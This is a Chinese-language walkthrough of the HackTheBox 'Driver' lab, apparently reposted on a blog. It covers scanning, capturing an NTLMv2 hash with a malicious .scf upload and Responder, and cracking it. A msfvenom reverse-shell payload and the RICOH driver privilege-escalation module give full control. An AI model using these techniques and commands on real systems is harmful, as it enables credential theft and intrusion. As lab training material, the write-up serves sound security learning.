当前位置: 首页 > article >正文

HTB:Driver[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用smbclient尝试root用户空密码登录靶机SMB服务

边界突破

使用浏览器访问靶机80端口

使用Yakit抓取请求包

仿照该凭证格式,使用字典尝试爆破密码

使用上述凭证通过该页面认证后进入面板

尝试上传.scf文件利用SMB反射获取用户凭证

使用responder开始欺骗及监听客户端

将该哈希值写入文件以便爆破

使用john对该哈希文件进行字典爆破

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

查看靶机C盘根目录

查看靶机系统内用户

查看当前用户账户信息

查看当前用户权限信息

查看当前用户PS历史记录

查找该驱动所在目录路径

 使用大模型搜索该驱动是否存在提权漏洞

使用searchsploit搜索该漏洞

使用msfvenom生成Payload

将该Payload上传至靶机中

启动Metasploit

检索该漏洞模块


连接至HTB服务器并启动靶机

靶机IP:10.10.11.106

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.106 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,         
80,135,445,5985
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                   
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
80,135,445,5985

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.106

  • 需要重点关注的端口和服务

80端口:IIS服务

445端口:SMB服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.106

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.106

使用smbclient尝试root用户空密码登录靶机SMB服务

smbclient -L \\10.10.11.106

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.11.106
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED


边界突破

使用浏览器访问靶机80端口

  • 提示需要用户名和密码

使用Yakit抓取请求包
  • 其中,请求头中的Authorization参数用于发送凭证

  • 对Basic后的字符串进行解码

仿照该凭证格式,使用字典尝试爆破密码

Authorization: Basic YWRtaW46YWRtaW4=

  • Base64解码后

账户:admin

密码:admin

  • 将靶机IP与主域名进行绑定使DNS从本地解析
sed -i '1i 10.10.11.106 driver.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.106 driver.htb' /etc/hosts
                                                                                                                         
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts                           
10.10.11.106 driver.htb

使用上述凭证通过该页面认证后进入面板
  • 这里不知道为啥加载出来是这样的,反正也是转了半天

  • 点击左上角的Firmware Updates进入固件更新页,该页允许文件上传

  • 该页面中存在描述:Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.

翻译:选择打印机型号并将相应的固件更新上传到我们的文件共享。我们的测试团队将手动审查上传并尽快启动测试。

  • 因此,从这里上传的所有文件应当都会保存在靶机SMB服务器中,换句话说通过该页面我们拥有了向靶机SMB服务器写入文件的权限

尝试上传.scf文件利用SMB反射获取用户凭证

基于SCF文件的SMB中继攻击:攻击者上传精心构造的恶意.scf文件到SMB服务器共享目录,用户浏览该目录时,系统自动解析.scf文件触发向恶意服务器的访问请求,进而以用户身份发送NTLMv2认证请求,攻击者截获并获取该用户的NTLMv2凭证 。

  • 构造一个恶意的.scf文件
[Shell]    
Command=2    
IconFile=\\10.10.16.13\test
使用responder开始欺骗及监听客户端
responder -wv -I tun0
  • 选择文件后,点击Submit开始上传

  • 攻击机responder收到回显

  • tony用户哈希值
tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000
将该哈希值写入文件以便爆破
echo 'tony::DRIVER:cc7a5be9edf57e2b:B00C7598710E1FEB3662800CB261B7F3:0101000000000000009AE12B6165DB0140FB9FA2F3FF07460000000002000800420050005000370001001E00570049004E002D004100530034003900330053004C004C0046004300390004003400570049004E002D004100530034003900330053004C004C004600430039002E0042005000500037002E004C004F00430041004C000300140042005000500037002E004C004F00430041004C000500140042005000500037002E004C004F00430041004C0007000800009AE12B6165DB010600040002000000080030003000000000000000000000000020000092420DE18E3028DCAC604904C0367CAEF10C3B61D875F7E0ADB1D86EE62E88D90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000' > hash
使用john对该哈希文件进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt

账户:tony

密码:liltony

使用evil-winrm通过上述凭证登录靶机Win-RM服务

evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

  • 在C:\Users\tony\Desktop目录下找到user.txt文件


权限提升

查看靶机C盘根目录

  • 可见存在两个Program Files目录,因此靶机系统大概率为64位系统

查看靶机系统内用户

net user

  • 靶机系统内普通权限用户仅有该用户
查看当前用户账户信息
net user tony

  • 该用户没有加入特殊权限组
查看当前用户权限信息
whoami /priv

  • 没有可利用的特权
查看当前用户PS历史记录
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

*Evil-WinRM* PS C:\Users\tony\Desktop> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

ping 1.1.1.1
ping 1.1.1.1

  • Powershell历史记录中第一条命令整体功能为,向系统添加一个打印机,其中驱动完整名称:`RICOH PCL6 UniversalDriver V4.23`
查找该驱动所在目录路径
cmd /c dir /s /ad "RICOH PCL6 UniversalDriver V4.23"

  • 该驱动所在位置:C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23
 使用大模型搜索该驱动是否存在提权漏洞

使用searchsploit搜索该漏洞
searchsploit --cve 2019-19363

  • 由输出可见,该漏洞集成于MSF中

使用msfvenom生成Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.13 LPORT=1425 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

将该Payload上传至靶机中
upload shell.exe

启动Metasploit
msfconsole
  • 切换到监听模块
use exploit/multi/handler
  • 配置好选项:LHOST、LPORT、PAYLOAD,并开始监听

msf6 exploit(multi/handler) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(multi/handler) > set LPORT 1425
LPORT => 1425
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.13:1425

  • 控制靶机运行Payload
.\shell.exe
  • 攻击机MSF监听端收到回显

[*] Started reverse TCP handler on 10.10.16.13:1425
[*] Sending stage (203846 bytes) to 10.10.11.106
[*] Meterpreter session 1 opened (10.10.16.13:1425 -> 10.10.11.106:49431) at 2025-01-13 04:44:35 -0500

meterpreter >

  • 列出靶机系统进程
ps

  • 通过Session栏目判断,为0则是系统进程,为1则是用户进程。我尝试将Meterpreter迁移进用户进程explorer.exe
migrate -N explorer.exe

meterpreter > migrate -N explorer.exe
[*] Migrating from 4256 to 3260...
[*] Migration completed successfully.

检索该漏洞模块
search 2019-19363

  • 切换到该模块
use exploit/windows/local/ricoh_driver_privesc
  • 列出该模块所需填写的选项
show options

  • 此处需要配置好的选项:LHOST、LPORT、PAYLOAD、SESSION

msf6 exploit(windows/local/ricoh_driver_privesc) > set LHOST 10.10.16.13
LHOST => 10.10.16.13
msf6 exploit(windows/local/ricoh_driver_privesc) > set LPORT 1426
LPORT => 1426
msf6 exploit(windows/local/ricoh_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set SESSION 1
SESSION => 1

  • 执行该模块
exploit

  • 查找root.txt文件位置
search -f root.txt

meterpreter > search -f root.txt
Found 1 result...
=================

Path                                     Size (bytes)  Modified (UTC)
----                                     ------------  --------------
c:\Users\Administrator\Desktop\root.txt  34            2025-01-13 05:55:59 -0500

  • 查看root.txt文件内容

meterpreter > shell
Process 1876 created.
Channel 2 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
030cd5d04a90f1bd3c163e0bcd3280eb


http://www.kler.cn/a/504245.html

相关文章:

  • python学opencv|读取图像(三十一)缩放图像的三种方法
  • Sentaurus TCAD学习笔记:transform指令
  • 国内源快速在线安装qt5.15以上版本。(10min安装好)(图文教程)
  • centos修改/etc/resolv.conf 重启network后又恢复到原来的状态
  • [Flutter] 使用ScrollController配合EasyRefresh实现列表预加载:在还未滑动到底部时加载下一页数据
  • Java语言的正则表达式
  • JavaScript系列(21)-- Iterator详解
  • vscode使用Marscode编程助手
  • Bevy 移动端开发指南
  • Python在CMD中的参数说明
  • ubuntu20.04中vscode配置django
  • qt vs ios开发应用环境搭建和上架商店的记录
  • Bash语言的多线程编程
  • pytorch小记(一):pytorch矩阵乘法:torch.matmul(x, y)
  • 【reactjs进阶】react状态管理之mobx6.x的使用的使用(一)
  • Rust 游戏开发框架指南
  • pytorch小记(三):pytorch中的最大值操作:x.max()
  • Linux的基础IO内容补充-FILE
  • pycharm 安装三方插件后,导致pycharm无法启动的解决方式
  • LeetCode2799 统计完全子数组的数目
  • 播放音频文件同步音频文本
  • [mysql]日志
  • vscode 扩展Cline、Continue的差别?
  • fpga 的时钟管理模块pll 跟 dcm
  • J.U.C(2)
  • JSON简介与使用